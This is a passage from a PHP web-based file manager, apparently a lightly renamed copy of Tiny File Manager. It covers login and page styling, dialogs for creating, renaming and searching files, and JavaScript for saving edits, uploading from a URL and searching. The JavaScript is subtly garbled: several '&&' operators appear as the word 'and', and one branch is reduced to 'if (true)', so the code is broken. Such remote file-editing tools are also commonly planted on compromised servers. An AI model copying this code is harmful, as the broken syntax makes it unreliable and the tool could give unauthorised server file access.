0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E");}
        .fm-login-page .brand{ width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1}
        .fm-login-page .brand img{ width:100%}
        .fm-login-page .card-wrapper{ width:360px;margin-top:10%;margin-left:auto;margin-right:auto;}
        .fm-login-page .card{ border-color:transparent;box-shadow:0 4px 8px rgba(0,0,0,.05)}
        .fm-login-page .card-title{ margin-bottom:1.5rem;font-size:24px;font-weight:400;}
        .fm-login-page .form-control{ border-width:2.3px}
        .fm-login-page .form-group label{ width:100%}
        .fm-login-page .btn.btn-block{ padding:12px 10px}
        .fm-login-page .footer{ margin:40px 0;color:#888;text-align:center}
        @media screen and (max-width:425px){
            .fm-login-page .card-wrapper{ width:90%;margin:0 auto;margin-top:10%;}
        }
        @media screen and (max-width:320px){
            .fm-login-page .card.fat{ padding:0}
            .fm-login-page .card.fat .card-body{ padding:15px}
        }
        .message{ padding:4px 7px;border:1px solid #ddd;background-color:#fff}
        .message.ok{ border-color:green;color:green}
        .message.error{ border-color:red;color:red}
        .message.alert{ border-color:orange;color:orange}
        body.fm-login-page.theme-dark {background-color: #2f2a2a;}
        .theme-dark svg g, .theme-dark svg path {fill: #ffffff; }
    </style>
</head>
<body class="fm-login-page <?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?>">
<div id="wrapper" class="container-fluid">

    <?php
    }

    function fm_show_footer_login()
    {
    ?>
</div>
<?php print_external('js-jquery'); ?>
<?php print_external('js-bootstrap'); ?>
</body>
</html>
<?php
}


function fm_show_header()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");

global $lang, $root_url, $sticky_navbar, $favicon_path;
$isStickyNavBar = $sticky_navbar ? 'navbar-fixed' : 'navbar-normal';
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="spathe">
    <meta name="author" content="CCP Programmers">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex">
    <?php if($favicon_path) { echo '<link rel="icon" href="'.fanco($favicon_path).'" type="image/png">'; } ?>
    <title><?php echo fanco(APP_TITLE) ?></title>
    <?php print_external('pre-jsdelivr'); ?>
    <?php print_external('pre-cloudflare'); ?>
    <?php print_external('css-bootstrap'); ?>
    <?php print_external('css-font-awesome'); ?>
    <?php if (FM_USE_HIGHLIGHTJS and isset($_GET['view'])): ?>
    <?php print_external('css-highlightjs'); ?>
    <?php endif; ?>
    <script type="text/javascript">window.csrf = '<?php echo $_SESSION['token']; ?>';</script>
    <style>
        html { -moz-osx-font-smoothing: grayscale; -webkit-font-smoothing: antialiased; text-rendering: optimizeLegibility; height: 100%; scroll-behavior: smooth;}
        *,*::before,*::after { box-sizing: border-box;}
        body { font-size:15px; color:#222;background:#F7F7F7; }
        body.navbar-fixed { margin-top:55px; }
        a, a:hover, a:visited, a:focus { text-decoration:none !important; }
        .filename, td, th { white-space:nowrap  }
        .navbar-brand { font-weight:bold; }
        .nav-item.avatar a { cursor:pointer;text-transform:capitalize; }
        .nav-item.avatar a > i { font-size:15px; }
        .nav-item.avatar .dropdown-menu a { font-size:13px; }
        #search-addon { font-size:12px;border-right-width:0; }
        .brl-0 { background:transparent;border-left:0; border-top-left-radius: 0; border-bottom-left-radius: 0; }
        .brr-0 { border-top-right-radius: 0; border-bottom-right-radius: 0; }
        .bread-crumb { color:#cccccc;font-style:normal; }
        #main-table { transition: transform .25s cubic-bezier(0.4, 0.5, 0, 1),width 0s .25s;}
        #main-table .filename a { color:#222222; }
        .table td, .table th { vertical-align:middle !important; }
        .table .custom-checkbox-td .custom-control.custom-checkbox, .table .custom-checkbox-header .custom-control.custom-checkbox { min-width:18px; display: flex;align-items: center; justify-content: center; }
        .table-sm td, .table-sm th { padding:.4rem; }
        .table-bordered td, .table-bordered th { border:1px solid #f1f1f1; }
        .hidden { display:none  }
        pre.with-hljs { padding:0; overflow: hidden;  }
        pre.with-hljs code { margin:0;border:0;overflow:scroll;  }
        code.maxheight, pre.maxheight { max-height:512px  }
        .fa.fa-caret-right { font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec  }
        .fa.fa-home { font-size:1.3em;vertical-align:bottom  }
        .path { margin-bottom:10px  }
        form.dropzone { min-height:200px;border:2px dashed #007bff;line-height:6rem; }
        .right { text-align:right  }
        .center, .close, .login-form, .preview-img-container { text-align:center  }
        .message { padding:4px 7px;border:1px solid #ddd;background-color:#fff  }
        .message.ok { border-color:green;color:green  }
        .message.error { border-color:red;color:red  }
        .message.alert { border-color:orange;color:orange  }
        .preview-img { max-width:100%;max-height:80vh;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC);cursor:zoom-in }
        input#preview-img-zoomCheck[type=checkbox] { display:none }
        input#preview-img-zoomCheck[type=checkbox]:checked ~ label > img { max-width:none;max-height:none;cursor:zoom-out }
        .inline-actions > a > i { font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px 4px;border-radius:3px; }
        .preview-video { position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px  }
        .preview-video video { position:absolute;width:100%;height:100%;left:0;top:0;background:#000  }
        .compact-table { border:0;width:auto  }
        .compact-table td, .compact-table th { width:100px;border:0;text-align:center  }
        .compact-table tr:hover td { background-color:#fff  }
        .filename { max-width:420px;overflow:hidden;text-overflow:ellipsis  }
        .break-word { word-wrap:break-word;margin-left:30px  }
        .break-word.float-left a { color:#7d7d7d  }
        .break-word + .float-right { padding-right:30px;position:relative  }
        .break-word + .float-right > a { color:#7d7d7d;font-size:1.2em;margin-right:4px  }
        #editor { position:absolute;right:15px;top:100px;bottom:15px;left:15px  }
        @media (max-width:481px) {
            #editor { top:150px; }
        }
        #normal-editor { border-radius:3px;border-width:2px;padding:10px;outline:none; }
        .btn-2 { padding:4px 10px;font-size:small; }
        li.file:before,li.folder:before { font:normal normal normal 14px/1 FontAwesome;content:"\f016";margin-right:5px }
        li.folder:before { content:"\f114" }
        i.fa.fa-folder-o { color:#0157b3 }
        i.fa.fa-picture-o { color:#26b99a }
        i.fa.fa-file-archive-o { color:#da7d7d }
        .btn-2 i.fa.fa-file-archive-o { color:inherit }
        i.fa.fa-css3 { color:#f36fa0 }
        i.fa.fa-file-code-o { color:#007bff }
        i.fa.fa-code { color:#cc4b4c }
        i.fa.fa-file-text-o { color:#0096e6 }
        i.fa.fa-html5 { color:#d75e72 }
        i.fa.fa-file-excel-o { color:#09c55d }
        i.fa.fa-file-powerpoint-o { color:#f6712e }
        i.go-back { font-size:1.2em;color:#007bff; }
        .main-nav { padding:0.2rem 1rem;box-shadow:0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2)  }
        .dataTables_filter { display:none; }
        table.dataTable thead .sorting { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC'); }
        table.dataTable thead .sorting_asc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg=='); }
        table.dataTable thead .sorting_desc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII='); }
        table.dataTable thead tr:first-child th.custom-checkbox-header:first-child { background-image:none; }
        .footer-action li { margin-bottom:10px; }
        .app-v-title { font-size:24px;font-weight:300;letter-spacing:-.5px;text-transform:uppercase; }
        hr.custom-hr { border-top:1px dashed #8c8b8b;border-bottom:1px dashed #fff; }
        #snackbar { visibility:hidden;min-width:250px;margin-left:-125px;background-color:#333;color:#fff;text-align:center;border-radius:2px;padding:16px;position:fixed;z-index:1;left:50%;bottom:30px;font-size:17px; }
        #snackbar.show { visibility:visible;-webkit-animation:fadein 0.5s, fadeout 0.5s 2.5s;animation:fadein 0.5s, fadeout 0.5s 2.5s; }
        @-webkit-keyframes fadein { from { bottom:0;opacity:0; }
        to { bottom:30px;opacity:1; }
        }
        @keyframes fadein { from { bottom:0;opacity:0; }
        to { bottom:30px;opacity:1; }
        }
        @-webkit-keyframes fadeout { from { bottom:30px;opacity:1; }
        to { bottom:0;opacity:0; }
        }
        @keyframes fadeout { from { bottom:30px;opacity:1; }
        to { bottom:0;opacity:0; }
        }
        #main-table span.badge { border-bottom:2px solid #f8f9fa }
        #main-table span.badge:nth-child(1) { border-color:#df4227 }
        #main-table span.badge:nth-child(2) { border-color:#f8b600 }
        #main-table span.badge:nth-child(3) { border-color:#00bd60 }
        #main-table span.badge:nth-child(4) { border-color:#4581ff }
        #main-table span.badge:nth-child(5) { border-color:#ac68fc }
        #main-table span.badge:nth-child(6) { border-color:#45c3d2 }
        @media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) { .navbar-collapse .col-xs-6 { padding:0; }
        }
        .btn.active.focus,.btn.active:focus,.btn.focus,.btn.focus:active,.btn:active:focus,.btn:focus { outline:0!important;outline-offset:0!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important }
        .lds-facebook { display:none;position:relative;width:64px;height:64px }
        .lds-facebook div,.lds-facebook.show-me { display:inline-block }
        .lds-facebook div { position:absolute;left:6px;width:13px;background:#007bff;animation:lds-facebook 1.2s cubic-bezier(0,.5,.5,1) infinite }
        .lds-facebook div:nth-child(1) { left:6px;animation-delay:-.24s }
        .lds-facebook div:nth-child(2) { left:26px;animation-delay:-.12s }
        .lds-facebook div:nth-child(3) { left:45px;animation-delay:0s }
        @keyframes lds-facebook { 0% { top:6px;height:51px }
        100%,50% { top:19px;height:26px }
        }
        ul#search-wrapper { padding-left: 0;border: 1px solid #ecececcc; } ul#search-wrapper li { list-style: none; padding: 5px;border-bottom: 1px solid #ecececcc; }
        ul#search-wrapper li:nth-child(odd){ background: #f9f9f9cc;}
        .c-preview-img { max-width: 300px; }
        .border-radius-0 { border-radius: 0; }
        .float-right { float: right; }
        .table-hover>tbody>tr:hover>td:first-child { border-left: 1px solid #1b77fd; }
        #main-table tr.even { background-color: #F8F9Fa; }
        .filename>a>i {margin-right: 3px;}
    </style>
    <?php
    if (FM_THEME == "dark"): ?>
        <style>
            :root {
                --bs-bg-opacity: 1;
                --bg-color: #f3daa6;
                --bs-dark-rgb: 28, 36, 41 !important;
                --bs-bg-opacity: 1;
            }
            .table-dark { --bs-table-bg: 28, 36, 41 !important; }
            .btn-primary { --bs-btn-bg: #26566c; --bs-btn-border-color: #26566c; }
            body.theme-dark { background-image: linear-gradient(90deg, #1c2429, #263238); color: #CFD8DC; }
            .list-group .list-group-item { background: #343a40; }
            .theme-dark .navbar-nav i, .navbar-nav .dropdown-toggle, .break-word { color: #CFD8DC; }
            a, a:hover, a:visited, a:active, #main-table .filename a, i.fa.fa-folder-o, i.go-back { color: var(--bg-color); }
            ul#search-wrapper li:nth-child(odd) { background: #212a2f; }
            .theme-dark .btn-outline-primary { color: #b8e59c; border-color: #b8e59c; }
            .theme-dark .btn-outline-primary:hover, .theme-dark .btn-outline-primary:active { background-color: #2d4121;}
            .theme-dark input.form-control { background-color: #101518; color: #CFD8DC; }
            .theme-dark .dropzone { background: transparent; }
            .theme-dark .inline-actions > a > i { background: #79755e; }
            .theme-dark .text-white { color: #CFD8DC !important; }
            .theme-dark .table-bordered td, .table-bordered th { border-color: #343434; }
            .theme-dark .table-bordered td .custom-control-input, .theme-dark .table-bordered th .custom-control-input { opacity: 0.678; }
            .message { background-color: #212529; }
            .compact-table tr:hover td { background-color: #3d3d3d; }
            #main-table tr.even { background-color: #21292f; }
            form.dropzone { border-color: #79755e; }
        </style>
    <?php endif; ?>
</head>
<body class="<?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?> <?php echo $isStickyNavBar; ?>">
<div id="wrapper" class="container-fluid">
    <!-- New Item creation -->
    <div class="modal fade" id="createNewItem" tabindex="-1" role="dialog" data-bs-backdrop="static" data-bs-keyboard="false" aria-labelledby="newItemModalLabel" aria-hidden="true">
        <div class="modal-dialog" role="document">
            <form class="modal-content <?php echo fm_get_theme(); ?>" method="post">
                <div class="modal-header">
                    <h5 class="modal-title" id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php echo lng('CreateNewItem') ?></h5>
                    <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                </div>
                <div class="modal-body">
                    <p><label for="newfile"><?php echo lng('ItemType') ?> </label></p>
                    <div class="form-check form-check-inline">
                      <input class="form-check-input" type="radio" name="newfile" id="customRadioInline1" name="newfile" value="file">
                      <label class="form-check-label" for="customRadioInline1"><?php echo lng('File') ?></label>
                    </div>
                    <div class="form-check form-check-inline">
                      <input class="form-check-input" type="radio" name="newfile" id="customRadioInline2" value="folder" checked>
                      <label class="form-check-label" for="customRadioInline2"><?php echo lng('Folder') ?></label>
                    </div>

                    <p class="mt-3"><label for="newfilename"><?php echo lng('ItemName') ?> </label></p>
                    <input type="text" name="newfilename" id="newfilename" value="" class="form-control" placeholder="<?php echo lng('Enter here...') ?>" required>
                </div>
                <div class="modal-footer">
                    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                    <button type="button" class="btn btn-outline-primary" data-bs-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button>
                    <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('CreateNow') ?></button>
                </div>
            </form>
        </div>
    </div>

    <!-- Advance Search Modal -->
    <div class="modal fade" id="searchModal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true">
      <div class="modal-dialog modal-lg" role="document">
        <div class="modal-content <?php echo fm_get_theme(); ?>">
          <div class="modal-header">
            <h5 class="modal-title col-10" id="searchModalLabel">
                <div class="input-group mb-3">
                  <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?> <?php echo lng('a files') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon3" id="advanced-search" autofocus required>
                  <span class="input-group-text" id="search-addon3"><i class="fa fa-search"></i></span>
                </div>
            </h5>
            <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
          </div>
          <div class="modal-body">
            <form action="" method="post">
                <div class="lds-facebook"><div></div><div></div><div></div></div>
                <ul id="search-wrapper">
                    <p class="m-2"><?php echo lng('Search file in folder and subfolders...') ?></p>
                </ul>
            </form>
          </div>
        </div>
      </div>
    </div>

    <!--Rename Modal -->
    <div class="modal modal-alert" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="renameDailog">
      <div class="modal-dialog" role="document">
        <form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off">
          <div class="modal-body p-4 text-center">
            <h5 class="mb-3"><?php echo lng('Are you sure want to rename?') ?></h5>
            <p class="mb-1">
                <input type="text" name="rename_to" id="js-rename-to" class="form-control" placeholder="<?php echo lng('Enter new file name') ?>" required>
                <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                <input type="hidden" name="rename_from" id="js-rename-from">
            </p>
          </div>
          <div class="modal-footer flex-nowrap p-0">
            <button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
            <button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0"><strong><?php echo lng('Okay') ?></strong></button>
          </div>
        </form>
      </div>
    </div>

    <!-- Confirm Modal -->
    <script type="text/html" id="js-tpl-confirm">
        <div class="modal modal-alert confirmDailog" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="confirmDailog-<%this.id%>">
          <div class="modal-dialog" role="document">
            <form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off" action="<%this.action%>">
              <div class="modal-body p-4 text-center">
                <h5 class="mb-2"><?php echo lng('Are you sure want to') ?> <%this.title%> ?</h5>
                <p class="mb-1"><%this.content%></p>
              </div>
              <div class="modal-footer flex-nowrap p-0">
                <button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
                <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                <button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0" data-bs-dismiss="modal"><strong><?php echo lng('Okay') ?></strong></button>
              </div>
            </form>
          </div>
        </div>
    </script>

    <?php
    }


    function fm_show_footer()
    {
    ?>
</div>
<?php print_external('js-jquery'); ?>
<?php print_external('js-bootstrap'); ?>
<?php print_external('js-jquery-datatables'); ?>
<?php if (FM_USE_HIGHLIGHTJS and isset($_GET['view'])): ?>
    <?php print_external('js-highlightjs'); ?>
    <script>hljs.highlightAll(); var isHighlightingEnabled = true;</script>
<?php endif; ?>
<script>
    function template(html,options){
        var re=/<\%([^\%>]+)?\%>/g,reExp=/(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,code='var r=[];\n',cursor=0,match;var add=function(line,js){js?(code+=line.match(reExp)?line+'\n':'r.push('+line+');\n'):(code+=line!=''?'r.push("'+line.replace(/"/g,'\\"')+'");\n':'');return add}
        while(match=re.exec(html)){add(html.slice(cursor,match.index))(match[1],!0);cursor=match.index+match[0].length}
        add(html.substr(cursor,html.length-cursor));code+='return r.join("");';return new Function(code.replace(/[\r\t\n]/g,'')).apply(options)
    }
    function rename(e, t) { if(t) { $("#js-rename-from").val(t);$("#js-rename-to").val(t); $("#renameDailog").modal('show'); } }
    function change_checkboxes(e, t) { for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked }
    function get_checkboxes() { for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--) (e[n].type = "checkbox") and t.push(e[n]); return t }
    function select_all() { change_checkboxes(get_checkboxes(), !0) }
    function unselect_all() { change_checkboxes(get_checkboxes(), !1) }
    function invert_all() { change_checkboxes(get_checkboxes()) }
    function checkbox_toggle() { var e = get_checkboxes(); e.push(this), change_checkboxes(e) }
    function backup(e, t) {
        var n = new XMLHttpRequest,
            a = "path=" + e + "&file=" + t + "&token="+ window.csrf +"&type=backup&ajax=true";
        return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function () {
            4 == n.readyState and 200 == n.status and toast(n.responseText)
        }, n.send(a), !1
    }
    // Toast message
    function toast(txt) { var x = document.getElementById("snackbar");x.innerHTML=txt;x.className = "show";setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); }
    // Save file
    function edit_save(e, t) {
        var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value;
        if (typeof n !== 'undefined' and n !== null) {
            if (true) {
                var data = {ajax: true, content: n, type: 'save', token: window.csrf};

                $.ajax({
                    type: "POST",
                    url: window.location,
                    data: JSON.stringify(data),
                    contentType: "application/json; charset=utf-8",
                    success: function(mes){toast("Saved Successfully"); window.onbeforeunload = function() {return}},
                    failure: function(mes) {toast("Error: try again");},
                    error: function(mes) {toast(`<p style="background-color:red">${mes.responseText}</p>`);}
                });
            } else {
                var a = document.createElement("form");
                a.setAttribute("method", "POST"), a.setAttribute("action", "");
                var o = document.createElement("textarea");
                o.setAttribute("type", "textarea"), o.setAttribute("name", "savedata");
                let cx = document.createElement("input"); cx.setAttribute("type", "hidden");cx.setAttribute("name", "token");cx.setAttribute("value", window.csrf);
                var c = document.createTextNode(n);
                o.appendChild(c), a.appendChild(o), a.appendChild(cx), document.body.appendChild(a), a.submit()
            }
        }
    }
    function show_new_pwd() { $(".js-new-pwd").toggleClass('hidden'); }
    // Save Settings
    function save_settings($this) {
        let form = $($this);
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
            success: function (data) {if(data) { window.location.reload();}}
        }); return false;
    }
    //Create new password hash
    function new_password_hash($this) {
        let form = $($this), $pwd = $("#js-pwd-result"); $pwd.val('');
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
            success: function (data) { if(data) { $pwd.val(data); } }
        }); return false;
    }
    // Upload files using URL @param {Object}
    function upload_from_url($this) {
        let form = $($this), resultWrapper = $("div#js-url-upload__list");
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
            beforeSend: function() { form.find("input[name=uploadurl]").attr("disabled","disabled"); form.find("button").hide(); form.find(".lds-facebook").addClass('show-me'); },
            success: function (data) {
                if(data) {
                    data = JSON.parse(data);
                    if(data.done) {
                        resultWrapper.append('<div class="alert alert-success row">Uploaded Successful: '+data.done.name+'</div>'); form.find("input[name=uploadurl]").val('');
                    } else if(data['fail']) { resultWrapper.append('<div class="alert alert-danger row">Error: '+data.fail.message+'</div>'); }
                    form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');
                }
            },
            error: function(xhr) {
                form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');console.error(xhr);
            }
        }); return false;
    }
    // Search template
    function search_template(data) {
        var response = "";
        $.each(data, function (key, val) {
            response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`;
        });
        return response;
    }
    // Advance search
    function fm_search() {
        var searchTxt = $("input#advanced-search").val(), searchWrapper = $("ul#search-wrapper"), path = $("#js-search-modal").attr("href"), _html = "", $loader = $("div.lds-facebook");
        if(!!searchTxt and searchTxt.length > 2 and path) {
            var data = {ajax: true, content: searchTxt, path:path, type: 'search', token: window.csrf };
            $.ajax({
                type: "POST",
                url: window.location,
                data: data,
                beforeSend: function() {
                    searchWrapper.html('');
                    $loader.addClass('show-me');
